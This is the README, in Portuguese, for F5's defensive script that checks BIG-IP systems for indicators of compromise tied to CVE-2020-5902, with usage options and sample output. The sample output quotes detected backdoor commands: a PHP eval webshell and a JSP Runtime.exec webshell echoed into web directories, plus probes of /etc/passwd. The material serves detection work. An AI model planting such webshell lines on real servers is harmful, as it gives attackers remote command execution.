
Script local F5 BIG-IP que verifica Indicadores de Compromisso (IoCs) relacionados ao CVE-2020-5902, analisando logs, arquivos e integridade do sistema para detectar atividade pós-exploração.
Este script deve ser executado localmente em um F5 BIG-IP no Advanced Shell (bash) por um usuário com privilégios de root; não deve ser executado em nenhum outro ambiente. Nota: O Modo Appliance não permite acesso ao Advanced Shell e, portanto, esta ferramenta não pode ser executada nesses sistemas.
O script examina o BIG-IP em busca de Indicadores de Compromisso associados ao CVE-2020-5902 que eram conhecidos pela F5 Networks no momento da criação. O script compila esses IoCs e apresenta um relatório como uma visão geral que você pode usar para embasar sua determinação do melhor caminho a seguir. Se esta ferramenta descobrir algum IoC, você deve examinar e confirmá-los manualmente e, em seguida, seguir seus próprios procedimentos documentados para lidar com sistemas suspeitos de estarem comprometidos. Orientações específicas da F5 podem ser encontradas em K11438344: Considerations and guidance when you suspect a security compromise on a BIG-IP system.
Nota: Se você tiver alguma incerteza ou dúvida quanto à integridade de qualquer sistema, a abordagem cautelosa é considerar o sistema comprometido e seguir seus procedimentos internos para lidar com um sistema comprometido. Observe também que qualquer informação contida em um sistema comprometido deve ser considerada comprometida. Isso inclui, mas não se limita a, senhas, chaves privadas, certificados digitais, configurações, logs, etc.
Deve-se notar que os IoCs podem não estar mais presentes devido à idade (por exemplo, por rotação de logs) ou remoção por um adversário suficientemente habilidoso. Como a exploração do CVE-2020-5902 potencialmente resulta em execução remota de código como usuário root, um atacante habilidoso seria livre para limpar o sistema de vestígios após a exploração.
Observe também que um atacante poderia envenenar qualquer binário no sistema, incluindo python. Medidas razoáveis foram tomadas para evitar essa possibilidade; no entanto, você deve determinar seu nível de confiança na saída desta ferramenta em qualquer sistema suspeito de comprometimento.
Nas versões do BIG-IP que incluem sys-eicheck (13.1.0 em diante), esta ferramenta oferece ao administrador a oportunidade de verificar o sistema em execução em relação aos RPMs de instalação originais para procurar quaisquer modificações de arquivo, na tentativa de garantir a integridade dos comandos do sistema dos quais esta ferramenta depende. Observe que o sys-eicheck pode ser executado em todas as plataformas, independentemente da capacidade FIPS.
Nas versões anteriores, a ferramenta atualmente não inclui essa funcionalidade e será executada sem verificar se os binários do sistema instalados originalmente foram adulterados.
A soma sha384 desta versão do CVE-2020-5902_bigip_ioc_checker.py é: ce674235744b54de3331c19a402f911c4390dbbf297643ec3eed165bda49a951f48c1be9188372de3d92dd9f28595cbb
Você deve baixar esses arquivos apenas do repositório F5 DevCentral no GitHub
Observe que a fonte oficial de informações sobre CVE-2020-5902 é sempre o Aviso de Segurança da F5, K52145254: Vulnerabilidade de RCE no TMUI CVE-2020-5902
Basta baixar o arquivo CVE-2020-5902_bigip_ioc_checker.py para o BIG-IP de destino e executá-lo usando a instalação do python já presente no BIG-IP.
Exemplo:
[root@hostname:Active:Standalone] tmp # python CVE-2020-5902_bigip_ioc_checker.py -h
USAGE: python CVE-2020-5902_bigip_ioc_checker.py
You can use the following options <-iajylcbwut> to skip some checks:
Option: -i or --skip_sys-eicheck
[+] Skip using the sys_eicheck utility to scan the BIG-IP system for any unexpected changes to the system software.
[+] Please refer to https://support.f5.com/csp/article/K00029945for more details about the sys-eicheck utility.
[+] The sys-eicheck utility may take several minutes to finish.
Option: -a or --skip_audit_check [+] Skip scanning the audit log for malicious activities.
Option: -j or --skip_journal_check [+] Skip scanning the journal log for malicious activities.
Option: -y or --skip_systems_check [+] Skip scanning /config/bigip_user.conf to look for malicious users.
Option: -l or --skip_alias_check [+] Skip scanning /config/bigip_*.conf for malicious alias definition.
Option: -c or --skip_catalina_check [+] Skip scanning the tomcat catalina.out log for malicious activities.
Option: -b or --skip_bigipstartup_check [+] Skip checking if /config/startup contains blacklisted words.
Option: -w or --skip_webshell_check [+] Skip checking Files created after 2020 Jun 29 in the /usr/local/www/ to look for possible webshell files.
Option: -u or --skip_autostart_check [+] Skip checking Files created after 2020 Jun 29 in /etc/ to look for the possible autostart script.
Option: -t or --skip_tmp_check [+] Skip checking Files created after 2020 Jun 29 in /tmp
Option: -p or --disable_color_print [+] Disable color print, better for saving result
Option: -q or --bigiq_cmd_check [+] Run BIG-IQ compatible malicious command check
Option: -h or --help [+] Print usage
Se um BIG-IP é gerenciado por BIG-IQ ou outro sistema de automação/gerenciamento, ele pode receber comandos bash do BIG-IQ ou de outro sistema de automação/gerenciamento. Alguns dos comandos bash têm o script de codificação base64 embutido. Esses comandos bash registrados nos logs de auditoria do BIG-IP podem levar a Ferramenta de Detecção de IoC a relatar notificações de falso positivo: "!! IoC pattern malicious bash command found". Para reduzir os falsos positivos, você pode usar a opção -q para fazer a Ferramenta de Detecção de IoC ignorar o script codificado em base64 legítimo nos logs de auditoria.
Atualizar o sistema pode atualizar os timestamps de arquivos em /usr/local/www/ o que pode resultar em um falso positivo, por exemplo, se o software corrigido foi instalado recentemente.
Se algum resultado for retornado para qualquer verificação de data de criação de arquivo, em /usr/local/www/, /etc/ e /tmp/, os arquivos devem ser examinados para determinar sua legitimidade.
É possível ainda encontrar Indicação de Compromisso nos logs do journalctl após uma atualização para uma versão corrigida ou após aplicar a solução alternativa. Por favor, revise o timestamp dos logs, caso estejam presentes, e verifique se eles ocorreram antes da atualização ou da aplicação da solução alternativa.
# python CVE-2020-5902_bigip_ioc_checker.py -iqa
>>>> Skip sys-eicheck check
>>>> Run BIG-IQ compatible malicious command check
>>>> Skip audit log check
CVE-2020-5902 Indicators of Compromise checker. False positive reports are possible and all results should be manually verified.
[+] Version 13.1.0 Build 0.0.1868 CVE-2020-5902 Fixed: False
!! IoC pattern ['/etc/fakefile', '/etc/passwd', '/etc/fakefile1'] access denied in file /var/log/tomcat/catalina.out
!! IoC pattern ['/config/bigip_base.conf'] access denied in file /var/log/tomcat/catalina.out.1
!! IoC pattern Possible backdoor echo "<?php eval(\$_REQUEST[09ede7]);" > /usr/local/www/xui/common/css/webshell.php in file /config/startup
!! IoC pattern Possible backdoor echo "Runtime.getRuntime().exec("cmd.exe /C " + cmd);" > /usr/local/www/xui/common/css/webshell.jsp in file /config/startup